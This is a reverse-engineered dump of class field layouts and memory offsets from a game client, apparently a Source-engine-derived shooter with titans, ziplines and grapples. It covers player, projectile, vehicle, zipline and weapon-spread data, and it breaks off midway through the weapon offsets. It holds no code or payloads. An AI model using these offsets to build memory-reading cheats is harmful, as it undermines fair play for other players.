+class C_PlayerLocalData + +``` +{ + m_nStepside: Int, + m_nOldButtons: Int, + m_nOldVehicleButtons: Int, + m_iHideHUD: Int, + m_superJumpsUsed: Int, + m_jumpedOffRodeo: Bool, + m_jumpPressTime: Time, + m_jetpackActivateTime: Time, + m_jetpackDeactivateTime: Time, + m_flSuitPower: Float, + m_flSuitJumpPower: Float, + m_flSuitGrapplePower: Float, + m_flFallVelocity: Float, + m_flStepSize: Float, + m_airSlowMoFrac: Float, + predictableFlags: Int, + m_bitsActiveDevices: Int, + m_forceStance: Int, + m_duckToggleOn: Bool, + m_bDrawViewmodel: Bool, + m_bAllowAutoMovement: Bool, + m_airMoveBlockPlanes: Vector, + m_airMoveBlockPlaneTime: Time, + m_airMoveBlockPlaneCount: Int, + m_queuedMeleePressTime: Time, + m_queuedGrappleMeleeTime: Time, + m_disableMeleeUntilRelease: Bool, + m_meleePressTime: Time, + m_meleeDisabledCounter: Int, + m_meleeInputIndex: Int, + m_oneHandedWeaponUsage: Bool, + m_prevOneHandedWeaponUsage: Bool, + m_titanEmbarkEnabled: Bool, + m_titanDisembarkEnabled: Bool, + m_playerAnimStationaryGoalFeetYaw: Float, + m_playerAnimJumping: Bool, + m_playerAnimJumpStartTime: Time, + m_playerAnimFirstJumpFrame: Bool, + m_playerAnimDodging: Bool, + m_playerAnimJumpActivity: Int, + m_playerAnimLanding: Bool, + m_playerAnimShouldLand: Bool, + m_playerAnimLandStartTime: Time, + m_playerAnimInAirWalk: Bool, + m_playerAnimPrevFrameSequenceMotionYaw: Float, + m_playerAnimMeleeParity: Int, + m_playerAnimMeleeStartTime: Time, + m_playerLocalGravityToWorldTransform: Quaternion, + m_playerLocalGravityBlendStartRotation: Quaternion, + m_playerLocalGravityBlendEndRotation: Quaternion, + m_playerLocalGravityBlendEndDirection: Vector, + m_playerLocalGravityBlendStartTime: Time, + m_playerLocalGravityBlendEndTime: Time, + m_playerLocalGravityBlendStrength: Float, + m_playerLocalGravityStrength: Float, + m_playerLocalGravityType: Int, + m_playerLocalGravityPoint: Vector, + m_playerLocalGravityLineStart: Vector, + m_playerLocalGravityLineEnd: Vector, + m_playerLocalGravityEntity: EHANDLE, + m_playerLocalGravityLineStartEntity: EHANDLE, + m_playerLocalGravityLineEndEntity: EHANDLE, + m_playerFloatLookStartTime: Time, + m_playerFloatLookEndTime: Time, + m_wallrunLatestFloorHeight: Float, + m_wallrunFromJetpack: Bool, + m_groundNormal: Vector, + m_continuousUseBlocked: Bool, + m_useEnt: EHANDLE, +} +``` + +### Offsets + +``` +C_PlayerLocalData!0x0008 m_nStepside +C_PlayerLocalData!0x000c m_nOldButtons +C_PlayerLocalData!0x0010 m_nOldVehicleButtons +C_PlayerLocalData!0x0014 m_iHideHUD +C_PlayerLocalData!0x0018 m_superJumpsUsed +C_PlayerLocalData!0x001c m_jumpedOffRodeo +C_PlayerLocalData!0x0020 m_jumpPressTime +C_PlayerLocalData!0x0024 m_jetpackActivateTime +C_PlayerLocalData!0x0028 m_jetpackDeactivateTime +C_PlayerLocalData!0x002c m_flSuitPower +C_PlayerLocalData!0x0030 m_flSuitJumpPower +C_PlayerLocalData!0x0034 m_flSuitGrapplePower +C_PlayerLocalData!0x0038 m_flFallVelocity +C_PlayerLocalData!0x003c m_flStepSize +C_PlayerLocalData!0x0040 m_airSlowMoFrac +C_PlayerLocalData!0x0044 predictableFlags +C_PlayerLocalData!0x0048 m_bitsActiveDevices +C_PlayerLocalData!0x004c m_forceStance +C_PlayerLocalData!0x0050 m_duckToggleOn +C_PlayerLocalData!0x0051 m_bDrawViewmodel +C_PlayerLocalData!0x0052 m_bAllowAutoMovement +C_PlayerLocalData!0x0180 m_airMoveBlockPlanes +C_PlayerLocalData!0x0198 m_airMoveBlockPlaneTime +C_PlayerLocalData!0x019c m_airMoveBlockPlaneCount +C_PlayerLocalData!0x01a0 m_queuedMeleePressTime +C_PlayerLocalData!0x01a4 m_queuedGrappleMeleeTime +C_PlayerLocalData!0x01a9 m_disableMeleeUntilRelease +C_PlayerLocalData!0x01ac m_meleePressTime +C_PlayerLocalData!0x01b0 m_meleeDisabledCounter +C_PlayerLocalData!0x01b4 m_meleeInputIndex +C_PlayerLocalData!0x01bc m_oneHandedWeaponUsage +C_PlayerLocalData!0x01bd m_prevOneHandedWeaponUsage +C_PlayerLocalData!0x01f0 m_titanEmbarkEnabled +C_PlayerLocalData!0x01f1 m_titanDisembarkEnabled +C_PlayerLocalData!0x01f8 m_playerAnimStationaryGoalFeetYaw +C_PlayerLocalData!0x01fc m_playerAnimJumping +C_PlayerLocalData!0x0200 m_playerAnimJumpStartTime +C_PlayerLocalData!0x0204 m_playerAnimFirstJumpFrame +C_PlayerLocalData!0x0205 m_playerAnimDodging +C_PlayerLocalData!0x0208 m_playerAnimJumpActivity +C_PlayerLocalData!0x020c m_playerAnimLanding +C_PlayerLocalData!0x020d m_playerAnimShouldLand +C_PlayerLocalData!0x0210 m_playerAnimLandStartTime +C_PlayerLocalData!0x0214 m_playerAnimInAirWalk +C_PlayerLocalData!0x0218 m_playerAnimPrevFrameSequenceMotionYaw +C_PlayerLocalData!0x021c m_playerAnimMeleeParity +C_PlayerLocalData!0x0220 m_playerAnimMeleeStartTime +C_PlayerLocalData!0x0224 m_playerLocalGravityToWorldTransform +C_PlayerLocalData!0x0254 m_playerLocalGravityBlendStartRotation +C_PlayerLocalData!0x0264 m_playerLocalGravityBlendEndRotation +C_PlayerLocalData!0x0274 m_playerLocalGravityBlendEndDirection +C_PlayerLocalData!0x0280 m_playerLocalGravityBlendStartTime +C_PlayerLocalData!0x0284 m_playerLocalGravityBlendEndTime +C_PlayerLocalData!0x0288 m_playerLocalGravityBlendStrength +C_PlayerLocalData!0x028c m_playerLocalGravityStrength +C_PlayerLocalData!0x0290 m_playerLocalGravityType +C_PlayerLocalData!0x0294 m_playerLocalGravityPoint +C_PlayerLocalData!0x02a0 m_playerLocalGravityLineStart +C_PlayerLocalData!0x02ac m_playerLocalGravityLineEnd +C_PlayerLocalData!0x02b8 m_playerLocalGravityEntity +C_PlayerLocalData!0x02bc m_playerLocalGravityLineStartEntity +C_PlayerLocalData!0x02c0 m_playerLocalGravityLineEndEntity +C_PlayerLocalData!0x02c4 m_playerFloatLookStartTime +C_PlayerLocalData!0x02c8 m_playerFloatLookEndTime +C_PlayerLocalData!0x02cc m_wallrunLatestFloorHeight +C_PlayerLocalData!0x02d0 m_wallrunFromJetpack +C_PlayerLocalData!0x02d4 m_groundNormal +C_PlayerLocalData!0x02e0 m_continuousUseBlocked +C_PlayerLocalData!0x02e4 m_useEnt +``` +
+
+class C_PlayerVehicle extends C_BaseAnimatingOverlay + +``` +{ + m_localOrigin: Vector, + m_SequenceTransitioner: C_SequenceTransitioner, + m_vehicleDriver: EHANDLE, + m_vehicleActivated: Bool, + m_blockDuckInput: Bool, + m_vehicleLaunchTime: Float, + m_vehicleVelocity: Vector, + m_vehicleGroundEntity: EHANDLE, + m_vehicleGroundNormal: Vector, + m_vehicleGroundDist: Float, + m_hoverVehicleHoverOffsetPrev: Float, + m_hoverVehicleGroundAngles: Vector, + m_hoverVehicleIsOnGround: Bool, + m_hoverVehicleHoverSimulationIsAwake: Bool, + m_hoverVehicleSmoothTilt: Vector, + m_hoverVehicleSmoothTiltVelocity: Vector, + m_hoverVehicleSmoothYaw: Float, + m_hoverVehicleSmoothYawVelocity: Float, + m_hoverVehicleLookAheadAcceleration: Vector, + m_hoverVehicleLastBoostTime: Time, + m_hoverVehicleStunTimeEnd: Float, + m_hoverVehicleThrottle: Float, + m_hoverVehicleBanking: Float, + m_hoverVehicleFrictionLastTime: Float, + m_hoverVehicleFrictionSurfPropOther: Int, + m_hoverVehicleFrictionNormal: Vector, + m_hoverVehicleFrictionPos: Vector, + m_hoverVehiclePhysPush: Vector, +} +``` + +### Offsets + +``` +C_PlayerVehicle!0x0158 m_localOrigin +C_PlayerVehicle!0x0c00 m_SequenceTransitioner +C_PlayerVehicle!0x1984 m_vehicleDriver +C_PlayerVehicle!0x19a8 m_vehicleActivated +C_PlayerVehicle!0x19a9 m_blockDuckInput +C_PlayerVehicle!0x19b8 m_vehicleLaunchTime +C_PlayerVehicle!0x19c0 m_vehicleVelocity +C_PlayerVehicle!0x19cc m_vehicleGroundEntity +C_PlayerVehicle!0x19d0 m_vehicleGroundNormal +C_PlayerVehicle!0x19dc m_vehicleGroundDist +C_PlayerVehicle!0x19e0 m_hoverVehicleHoverOffsetPrev +C_PlayerVehicle!0x19f0 m_hoverVehicleGroundAngles +C_PlayerVehicle!0x19fc m_hoverVehicleIsOnGround +C_PlayerVehicle!0x19fe m_hoverVehicleHoverSimulationIsAwake +C_PlayerVehicle!0x1a50 m_hoverVehicleSmoothTilt +C_PlayerVehicle!0x1a5c m_hoverVehicleSmoothTiltVelocity +C_PlayerVehicle!0x1a68 m_hoverVehicleSmoothYaw +C_PlayerVehicle!0x1a6c m_hoverVehicleSmoothYawVelocity +C_PlayerVehicle!0x1a70 m_hoverVehicleLookAheadAcceleration +C_PlayerVehicle!0x1a7c m_hoverVehicleLastBoostTime +C_PlayerVehicle!0x1a88 m_hoverVehicleStunTimeEnd +C_PlayerVehicle!0x1a8c m_hoverVehicleThrottle +C_PlayerVehicle!0x1a94 m_hoverVehicleBanking +C_PlayerVehicle!0x1a98 m_hoverVehicleFrictionLastTime +C_PlayerVehicle!0x1a9c m_hoverVehicleFrictionSurfPropOther +C_PlayerVehicle!0x1aa0 m_hoverVehicleFrictionNormal +C_PlayerVehicle!0x1aac m_hoverVehicleFrictionPos +C_PlayerVehicle!0x1ab8 m_hoverVehiclePhysPush +``` +
+
+class C_Projectile extends C_BaseEntity + +``` +{ + m_weaponDataIsSet: Bool, + m_forceAdjustToGunBarrelDisabled: Bool, + m_weaponClassIndex: Int, + m_destructionDistance: Float, + m_passThroughDepthTotal: Int, + m_modBitfield: Int, + m_overrideMods: Int, + m_projectileTrailIndex: Int, + m_impactEffectTable: Int, + m_reducedEffects: Bool, + m_projectileCreationTimeServer: Float, + m_weaponSource: EHANDLE, + m_passThroughModCount: Int, + m_passThroughPoints: Vector, + m_preModdedTrailEffectIndices1p: Int, + m_preModdedTrailEffectIndices3p: Int, + m_launchOrigin: Vector, + m_wpnData: Outer, + m_hWeaponFileInfo: Short, + m_weaponChargeLevel: Int, + m_weaponChargeFraction: Float, + m_modVars: Void, + m_modVarsAreValid: Bool, + m_launchVel: Vector, + m_scriptCB: Void, + m_hasPlayedTrailEffect: Bool, + m_projectileLifeTimeEndTick: Tick, + m_projectileCreationTime: Float, + m_isVortexRefired: Bool, + m_damageAliveOnly: Bool, + m_usesPositionFunction: Bool, + m_lastCollisionNormal: Vector, + m_bounceIndex: Int, + m_randomInt: Int, + m_thrownByAI: Bool, + m_perPolyRadius: Float, + m_posBeforePhysicsSimulate: Vector, + m_hasIgnited: Bool, + m_inLagCompensation: Bool, + m_passEntities: EHANDLE, + m_projectileSpeed: Float, + m_wantStartTrailEffect: Bool, + m_hasCalledPostDataUpdate: Bool, +} +``` + +### Offsets + +``` +C_Projectile!0x1600 m_weaponDataIsSet +C_Projectile!0x1601 m_forceAdjustToGunBarrelDisabled +C_Projectile!0x1604 m_weaponClassIndex +C_Projectile!0x1608 m_destructionDistance +C_Projectile!0x160c m_passThroughDepthTotal +C_Projectile!0x1610 m_modBitfield +C_Projectile!0x1614 m_overrideMods +C_Projectile!0x1618 m_projectileTrailIndex +C_Projectile!0x161c m_impactEffectTable +C_Projectile!0x1620 m_reducedEffects +C_Projectile!0x1624 m_projectileCreationTimeServer +C_Projectile!0x1628 m_weaponSource +C_Projectile!0x162c m_passThroughModCount +C_Projectile!0x1630 m_passThroughPoints +C_Projectile!0x163c m_preModdedTrailEffectIndices1p +C_Projectile!0x1640 m_preModdedTrailEffectIndices3p +C_Projectile!0x1644 m_launchOrigin +C_Projectile!0x1650 m_wpnData +C_Projectile!0x1658 m_hWeaponFileInfo +C_Projectile!0x165c m_weaponChargeLevel +C_Projectile!0x1660 m_weaponChargeFraction +C_Projectile!0x1668 m_modVars +C_Projectile!0x28d8 m_modVarsAreValid +C_Projectile!0x28dc m_launchVel +C_Projectile!0x28e8 m_scriptCB +C_Projectile!0x2910 m_hasPlayedTrailEffect +C_Projectile!0x2914 m_projectileLifeTimeEndTick +C_Projectile!0x2918 m_projectileCreationTime +C_Projectile!0x291c m_isVortexRefired +C_Projectile!0x291d m_damageAliveOnly +C_Projectile!0x291e m_usesPositionFunction +C_Projectile!0x2920 m_lastCollisionNormal +C_Projectile!0x292c m_bounceIndex +C_Projectile!0x2930 m_randomInt +C_Projectile!0x2934 m_thrownByAI +C_Projectile!0x2938 m_perPolyRadius +C_Projectile!0x2940 m_posBeforePhysicsSimulate +C_Projectile!0x294c m_hasIgnited +C_Projectile!0x294d m_inLagCompensation +C_Projectile!0x2950 m_passEntities +C_Projectile!0x29b8 m_projectileSpeed +C_Projectile!0x29d8 m_wantStartTrailEffect +C_Projectile!0x29da m_hasCalledPostDataUpdate +``` +
+
+class C_PropDoor + +``` +{ + m_localOrigin: Vector, + m_localAngles: Vector, + m_nNextThinkTick: Int, + m_angle: Float, + m_startAngle: Float, + m_startAngleVel: Float, + m_startMoveTime: Time, + m_nextHitSoundTime: Float, + m_lastThinkTime: Float, + m_interactingPlayer: EHANDLE, + m_interactingPlayerWantsOpen: Bool, + m_useDebounceEndTime: Time, + m_prevAngle: Float, +} +``` + +### Offsets + +``` +C_PropDoor!0x0158 m_localOrigin +C_PropDoor!0x0164 m_localAngles +C_PropDoor!0x054c m_nNextThinkTick +C_PropDoor!0x1674 m_angle +C_PropDoor!0x1678 m_startAngle +C_PropDoor!0x167c m_startAngleVel +C_PropDoor!0x1680 m_startMoveTime +C_PropDoor!0x168c m_nextHitSoundTime +C_PropDoor!0x1690 m_lastThinkTime +C_PropDoor!0x16d8 m_interactingPlayer +C_PropDoor!0x16dc m_interactingPlayerWantsOpen +C_PropDoor!0x16e0 m_useDebounceEndTime +C_PropDoor!0x16e8 m_prevAngle +``` +
+
+class C_SequenceTransitioner + +``` +{ + m_sequenceTransitionerLayers: C_SequenceTransitionerLayer, + m_sequenceTransitionerLayerCount: Int, +} +``` + +### Offsets + +``` +C_SequenceTransitioner!0x0050 m_sequenceTransitionerLayers +C_SequenceTransitioner!0x01a0 m_sequenceTransitionerLayerCount +``` +
+
+class C_SequenceTransitionerLayer + +``` +{ + m_sequenceTransitionerLayerActive: Bool, + m_sequenceTransitionerLayerStartCycle: Float, + m_sequenceTransitionerLayerSequence: Int, + m_weight: Float, + m_sequenceTransitionerLayerPlaybackRate: Float, + m_sequenceTransitionerLayerStartTime: Time, + m_sequenceTransitionerLayerFadeOutDuration: Float, +} +``` + +### Offsets + +``` +C_SequenceTransitionerLayer!0x0018 m_sequenceTransitionerLayerActive +C_SequenceTransitionerLayer!0x001c m_sequenceTransitionerLayerStartCycle +C_SequenceTransitionerLayer!0x0020 m_sequenceTransitionerLayerSequence +C_SequenceTransitionerLayer!0x0024 m_weight +C_SequenceTransitionerLayer!0x0028 m_sequenceTransitionerLayerPlaybackRate +C_SequenceTransitionerLayer!0x002c m_sequenceTransitionerLayerStartTime +C_SequenceTransitionerLayer!0x0030 m_sequenceTransitionerLayerFadeOutDuration +``` +
+
+class C_Team extends C_BaseEntity + +``` +{ + m_score: Int, + m_score2: Int, + m_kills: Int, + m_deaths: Int, + m_iRoundsWon: Int, + m_iTeamTeamNum: Int, + m_szTeamname: Char, +} +``` + +### Offsets + +``` +C_Team!0x0a40 m_score +C_Team!0x0a44 m_score2 +C_Team!0x0a48 m_kills +C_Team!0x0a4c m_deaths +C_Team!0x0a50 m_iRoundsWon +C_Team!0x0a54 m_iTeamTeamNum +C_Team!0x0a78 m_szTeamname +``` +
+
+class C_TriggerCylinderHeavy + +``` +{ + m_teslaTrapObstructedEndTime: Time, +} +``` + +### Offsets + +``` +C_TriggerCylinderHeavy!0x0b1c m_teslaTrapObstructedEndTime +``` +
+
+class C_VortexSphere extends C_BaseEntity + +``` +{ + m_enabled: Bool, + m_radius: Float, + m_height: Float, + m_bulletFov: Float, + m_bulletAbsorbedCount: Int, + m_projectileAbsorbedCount: Int, + m_ownerWeapon: EHANDLE, + m_vortexEffect: EHANDLE, + m_vortexLocalAngles: Vector, + m_gunAttachment: String, + m_listPrev: Outer, + m_listNext: Outer, +} +``` + +### Offsets + +``` +C_VortexSphere!0x0a40 m_enabled +C_VortexSphere!0x0a44 m_radius +C_VortexSphere!0x0a48 m_height +C_VortexSphere!0x0a4c m_bulletFov +C_VortexSphere!0x0a50 m_bulletAbsorbedCount +C_VortexSphere!0x0a54 m_projectileAbsorbedCount +C_VortexSphere!0x0a58 m_ownerWeapon +C_VortexSphere!0x0a5c m_vortexEffect +C_VortexSphere!0x0a60 m_vortexLocalAngles +C_VortexSphere!0x0a70 m_gunAttachment +C_VortexSphere!0x0a78 m_listPrev +C_VortexSphere!0x0a80 m_listNext +``` +
+
+class C_WallrunCurve extends C_GameplayHint + +``` +{ + width: Int, + height: Int, +} +``` + +### Offsets + +``` +C_WallrunCurve!0x0a80 width +C_WallrunCurve!0x0a84 height +``` +
+
+class C_WindowHint extends C_GameplayHint + +``` +{ + normal: Vector, + right: Vector, + halfSize: Float, + halfSize[0]: Float, + halfSize[1]: Float, +} +``` + +### Offsets + +``` +C_WindowHint!0x0a80 normal +C_WindowHint!0x0a8c right +C_WindowHint!0x0a98 halfSize +C_WindowHint!0x0a98 halfSize[0] +C_WindowHint!0x0a9c halfSize[1] +``` +
+
+class C_Zipline extends C_BaseEntity + +``` +{ + m_ziplinePhysics: C_ZiplinePhysics, + m_detachEndOnUse: Bool, + m_currentFrameZipline.numZiplinePoints: Int, + m_currentFrameZipline.ziplinePositions: Vector, + m_currentFrameZipline.ziplinePreviousPositions: Vector, + m_currentFrameZipline.ziplineDistances: Float, +} +``` + +### Offsets + +``` +C_Zipline!0x0a40 m_ziplinePhysics +C_Zipline!0x0d94 m_detachEndOnUse +C_Zipline!0x0e80 m_currentFrameZipline.numZiplinePoints +C_Zipline!0x0e84 m_currentFrameZipline.ziplinePositions +C_Zipline!0x0f44 m_currentFrameZipline.ziplinePreviousPositions +C_Zipline!0x1004 m_currentFrameZipline.ziplineDistances +``` +
+
+class C_ZiplinePhysics + +``` +{ + m_ziplineType: Int, + m_ziplineStart: Vector, + m_ziplineEnd: Vector, + m_nodes: C_ZiplinePhysicsNode, + m_numNodes: Int, + m_springDistance: Int, + m_remainingUnsimulatedTime: Float, + m_attachedEntities: C_ZiplinePhysicsAttachedEntity, + m_numAttachedEntities: Int, + m_ziplineOwner: EHANDLE, +} +``` + +### Offsets + +``` +C_ZiplinePhysics!0x000c m_ziplineType +C_ZiplinePhysics!0x0010 m_ziplineStart +C_ZiplinePhysics!0x001c m_ziplineEnd +C_ZiplinePhysics!0x0028 m_nodes +C_ZiplinePhysics!0x0228 m_numNodes +C_ZiplinePhysics!0x022c m_springDistance +C_ZiplinePhysics!0x0234 m_remainingUnsimulatedTime +C_ZiplinePhysics!0x0240 m_attachedEntities +C_ZiplinePhysics!0x0340 m_numAttachedEntities +C_ZiplinePhysics!0x0344 m_ziplineOwner +``` +
+
+class C_ZiplinePhysicsAttachedEntity + +``` +{ + entity: EHANDLE, + attachAcceleration: Vector, + attachTime: Float, +} +``` + +### Offsets + +``` +C_ZiplinePhysicsAttachedEntity!0x0008 entity +C_ZiplinePhysicsAttachedEntity!0x000c attachAcceleration +C_ZiplinePhysicsAttachedEntity!0x0018 attachTime +``` +
+
+class C_ZiplinePhysicsNode + +``` +{ + position: Vector, + prevPosition: Vector, +} +``` + +### Offsets + +``` +C_ZiplinePhysicsNode!0x0008 position +C_ZiplinePhysicsNode!0x0014 prevPosition +``` +
+
+class GrappleData + +``` +{ + m_grappleVel: Vector, + m_grapplePoints: Vector, + m_grapplePointCount: Int, + m_grappleAttached: Bool, + m_grapplePulling: Bool, + m_grappleSwinging: Bool, + m_grappleRetracting: Bool, + m_grappleForcedRetracting: Bool, + m_grappleGracePeriodFinished: Bool, + m_grappleUsedPower: Float, + m_grappleActivateTime: Time, + m_grapplePullTime: Time, + m_grappleAttachTime: Time, + m_grappleDetachTime: Time, + m_grappleMeleeTarget: EHANDLE, + m_grappleAutoAimTarget: EHANDLE, + m_grappleSwingDetachLowSpeed: Float, + m_grappleSwingHoldTime: Time, +} +``` + +### Offsets + +``` +GrappleData!0x0008 m_grappleVel +GrappleData!0x0014 m_grapplePoints +GrappleData!0x0044 m_grapplePointCount +GrappleData!0x0048 m_grappleAttached +GrappleData!0x0049 m_grapplePulling +GrappleData!0x004a m_grappleSwinging +GrappleData!0x004b m_grappleRetracting +GrappleData!0x004c m_grappleForcedRetracting +GrappleData!0x004d m_grappleGracePeriodFinished +GrappleData!0x0050 m_grappleUsedPower +GrappleData!0x0054 m_grappleActivateTime +GrappleData!0x0058 m_grapplePullTime +GrappleData!0x005c m_grappleAttachTime +GrappleData!0x0060 m_grappleDetachTime +GrappleData!0x0064 m_grappleMeleeTarget +GrappleData!0x0068 m_grappleAutoAimTarget +GrappleData!0x0074 m_grappleSwingDetachLowSpeed +GrappleData!0x0078 m_grappleSwingHoldTime +``` +
+
+class MissilePathExpandContractSettings_Client + +``` +{ + launchOutVec: Vector, + launchInVec: Vector, + launchOutTime: Time, + launchInLerpTime: Time, + launchInTime: Time, + launchStraightLerpTime: Time, + endPos: Vector, + applyRandSpread: Bool, +} +``` + +### Offsets + +``` +MissilePathExpandContractSettings_Client!0x0004 launchOutVec +MissilePathExpandContractSettings_Client!0x0010 launchInVec +MissilePathExpandContractSettings_Client!0x0028 launchOutTime +MissilePathExpandContractSettings_Client!0x002c launchInLerpTime +MissilePathExpandContractSettings_Client!0x0030 launchInTime +MissilePathExpandContractSettings_Client!0x0034 launchStraightLerpTime +MissilePathExpandContractSettings_Client!0x003c endPos +MissilePathExpandContractSettings_Client!0x0054 applyRandSpread +``` +
+
+class PlayerMelee_PlayerData + +``` +{ + meleeAttackParity: Int, + attackActive: Bool, + attackRecoveryShouldBeQuick: Bool, + isSprintAttack: Bool, + attackStartTime: Time, + attackHitEntity: EHANDLE, + attackHitEntityTime: Time, + attackLastHitNonWorldEntity: Time, + scriptedState: Int, + pendingMeleePress: Bool, + lungeBoost: Vector, +} +``` + +### Offsets + +``` +PlayerMelee_PlayerData!0x0008 meleeAttackParity +PlayerMelee_PlayerData!0x000c attackActive +PlayerMelee_PlayerData!0x000d attackRecoveryShouldBeQuick +PlayerMelee_PlayerData!0x000e isSprintAttack +PlayerMelee_PlayerData!0x0010 attackStartTime +PlayerMelee_PlayerData!0x0014 attackHitEntity +PlayerMelee_PlayerData!0x0018 attackHitEntityTime +PlayerMelee_PlayerData!0x001c attackLastHitNonWorldEntity +PlayerMelee_PlayerData!0x0020 scriptedState +PlayerMelee_PlayerData!0x0024 pendingMeleePress +PlayerMelee_PlayerData!0x0028 lungeBoost +``` +
+
+class PlayerZiplineData_Client + +``` +{ + m_ziplineReenableWeapons: Bool, + m_mountingZiplineDuration: Float, + m_mountingZiplineAlpha: Float, + m_ziplineStartTime: Time, + m_ziplineEndTime: Time, + m_mountingZiplineSourcePosition: Vector, + m_mountingZiplineSourceVelocity: Vector, + m_mountingZiplineTargetPosition: Vector, + m_ziplineUsePosition: Vector, + m_slidingZiplineAlpha: Float, + m_lastMoveDir2D: Vector, + m_ziplineReverse: Bool, +} +``` + +### Offsets + +``` +PlayerZiplineData_Client!0x0008 m_ziplineReenableWeapons +PlayerZiplineData_Client!0x000c m_mountingZiplineDuration +PlayerZiplineData_Client!0x0010 m_mountingZiplineAlpha +PlayerZiplineData_Client!0x0014 m_ziplineStartTime +PlayerZiplineData_Client!0x0018 m_ziplineEndTime +PlayerZiplineData_Client!0x001c m_mountingZiplineSourcePosition +PlayerZiplineData_Client!0x0028 m_mountingZiplineSourceVelocity +PlayerZiplineData_Client!0x0034 m_mountingZiplineTargetPosition +PlayerZiplineData_Client!0x004c m_ziplineUsePosition +PlayerZiplineData_Client!0x0058 m_slidingZiplineAlpha +PlayerZiplineData_Client!0x005c m_lastMoveDir2D +PlayerZiplineData_Client!0x0068 m_ziplineReverse +``` +
+
+class Player_ViewOffsetEntityData + +``` +{ + viewOffsetEntityHandle: EHANDLE, + lerpInDuration: Float, + lerpOutDuration: Float, + stabilizePlayerEyeAngles: Bool, +} +``` + +### Offsets + +``` +Player_ViewOffsetEntityData!0x0008 viewOffsetEntityHandle +Player_ViewOffsetEntityData!0x000c lerpInDuration +Player_ViewOffsetEntityData!0x0010 lerpOutDuration +Player_ViewOffsetEntityData!0x0014 stabilizePlayerEyeAngles +``` +
+
+class PredictedAnimEventData + +``` +{ + m_predictedAnimEventTimes: Time, + m_predictedAnimEventIndices: Int, + m_predictedAnimEventCount: Int, + m_predictedAnimEventTarget: EHANDLE, + m_predictedAnimEventSequence: Int, + m_predictedAnimEventModel: Int, + m_predictedAnimEventsReadyToFireTime: Time, +} +``` + +### Offsets + +``` +PredictedAnimEventData!0x0008 m_predictedAnimEventTimes +PredictedAnimEventData!0x0028 m_predictedAnimEventIndices +PredictedAnimEventData!0x0048 m_predictedAnimEventCount +PredictedAnimEventData!0x004c m_predictedAnimEventTarget +PredictedAnimEventData!0x0050 m_predictedAnimEventSequence +PredictedAnimEventData!0x0054 m_predictedAnimEventModel +PredictedAnimEventData!0x0058 m_predictedAnimEventsReadyToFireTime +``` +
+
+class StatusEffectEndlessData + +``` +{ + seComboVars: Int, +} +``` + +### Offsets + +``` +StatusEffectEndlessData!0x0008 seComboVars +``` +
+
+class StatusEffectTimedData + +``` +{ + seComboVars: Int, + seTimeEnd: Float, + seEaseOut: Float, +} +``` + +### Offsets + +``` +StatusEffectTimedData!0x0008 seComboVars +StatusEffectTimedData!0x000c seTimeEnd +StatusEffectTimedData!0x0010 seEaseOut +``` +
+
+class WeaponInventory_Client + +``` +{ + weapons: EHANDLE, + activeWeapons: EHANDLE, +} +``` + +### Offsets + +``` +WeaponInventory_Client!0x0008 weapons +WeaponInventory_Client!0x004c activeWeapons +``` +
+
+class WeaponPlayerData + +``` +{ + m_moveSpread: Float, + m_spreadStartTime: Time, + m_spreadStartFracHip: Float, + m_spreadStartFracADS: Float, + m_kickSpreadHipfire: Float, + m_kickSpreadADS: Float, + m_kickTime: Time, + m_kickScaleBasePitch: Float, + m_kickScaleBaseYaw: Float, + m_kickPatternScaleBase: Float, + m_kickSpringHeatBaseTime: Time, + m_kickSpringHeatBaseValue: Float, + m_semiAutoTriggerHoldTime: Time, + m_semiAutoTriggerDown: Bool, + m_pendingTriggerPull: Bool, + m_semiAutoNeedsRechamber: Bool, + m_pendingReloadAttempt: Bool, + m_offhandHybridNormalMode: Bool, + m_pendingoffhandHybridToss: Bool, + m_fastHolster: Bool, + m_didFirstDeploy: Bool, + m_shouldCatch: Bool, + m_clipModelIsHidden: Bool, + m_segmentedReloadEndSeqRequired: Bool, + m_reloadStartedEmpty: Bool, + m_segmentedAnimStartedOneHanded: Bool, + m_segmentedReloadCanRestartLoop: Bool, + m_segmentedReloadLoopFireLocked: Bool, + m_realtimeModCmds: Char, + m_realtimeModCmdHead: Char, + m_realtimeModCmdCount: Char, + m_customActivityAttachedModelIndex: Int, + m_customActivityAttachedModelAttachmentIndex: Int, + m_fireRateLerp_startTime: Time, + m_fireRateLerp_startFraction: Float, + m_fireRateLerp_stopTime: Time, + m_fireRateLerp_stopFraction: Float, + m_chargeAnimIndex: Int, + m_chargeAnimIndexOld: Int, + m_reloadMilestone: Int, + m_rechamberMilestone: Int, + m_cooldownMilestone: Int, + m_prevSeqWeight: Int, + m_fullReloadStartTime: Time, + m_scriptTime0: Time, + m_scriptFlags0: Int, + m_scriptInt0: Int, + m_curZoomFOV: Float, + m_targetZoomFOV: Float, + m_zoomFOVLerpTime: Float, + m_zoomFOVLerpEndTime: Time, + m_latestDryfireTime: Time, + m_requestedAttackEndTime: Time, + m_currentAltFireAnimIndex: Int, + m_legendaryModelIndex: Int, + m_charmModelIndex: Int, + m_charmAttachment: Int, + m_charmScriptIndex: Int, +} +``` + +### Offsets + +``` +WeaponPlayerData!0x0008 m_moveSpread +WeaponPlayerData!0x000c m_spreadStartTime +WeaponPlayerData!0x0010 m_spreadStartFracHip +WeaponPlayerData!0x0014 m_spreadStartFracADS +WeaponPlayerData!0x0018 m_kickSpreadHipfire +WeaponPlayerData!0x001c m_kickSpreadADS +WeaponPlayerData!0x0020 m_kickTime +WeaponPlayerData!0x0024 m_kickScaleBasePitch +WeaponPlayerData!0x0028 m_kickScaleBaseYaw +WeaponPlayerData!0x002c m_kickPatternScaleBase +WeaponPlayerData!0x0030 m_kickSpringHeatBaseTime +WeaponPlayerData!0x0034 m_kickSpringHeatBaseValue +WeaponPlayerData!0x0038 m_semiAutoTriggerHoldTime +WeaponPlayerData!0x003c m_semiAutoTriggerDown +WeaponPlayerData!0x003d m_pendingTriggerPull +WeaponPlayerData!0x003e m_semiAutoNeedsRechamber +WeaponPlayerData!0x003f m_pendingReloadAttempt +WeaponPlayerData!0x0040 m_offhandHybridNormalMode +WeaponPlayerData!0x0041 m_pendingoffhandHybridToss +WeaponPlayerData!0x0042 m_fastHolster +WeaponPlayerData!0x0043 m_didFirstDeploy +WeaponPlayerData!0x0044 m_shouldCatch +WeaponPlayerData!0x0045 m_clipModelIsHidden +WeaponPlayerData!0x0046 m_segmentedReloadEndSeqRequired +WeaponPlayerData!0x0047 m_reloadStartedEmpty +WeaponPlayerData!0x0048 m_segmentedAnimStartedOneHanded +WeaponPlayerData!0x0049 m_segmentedReloadCanRestartLoop +WeaponPlayerData!0x004a m_segmentedReloadLoopFireLocked 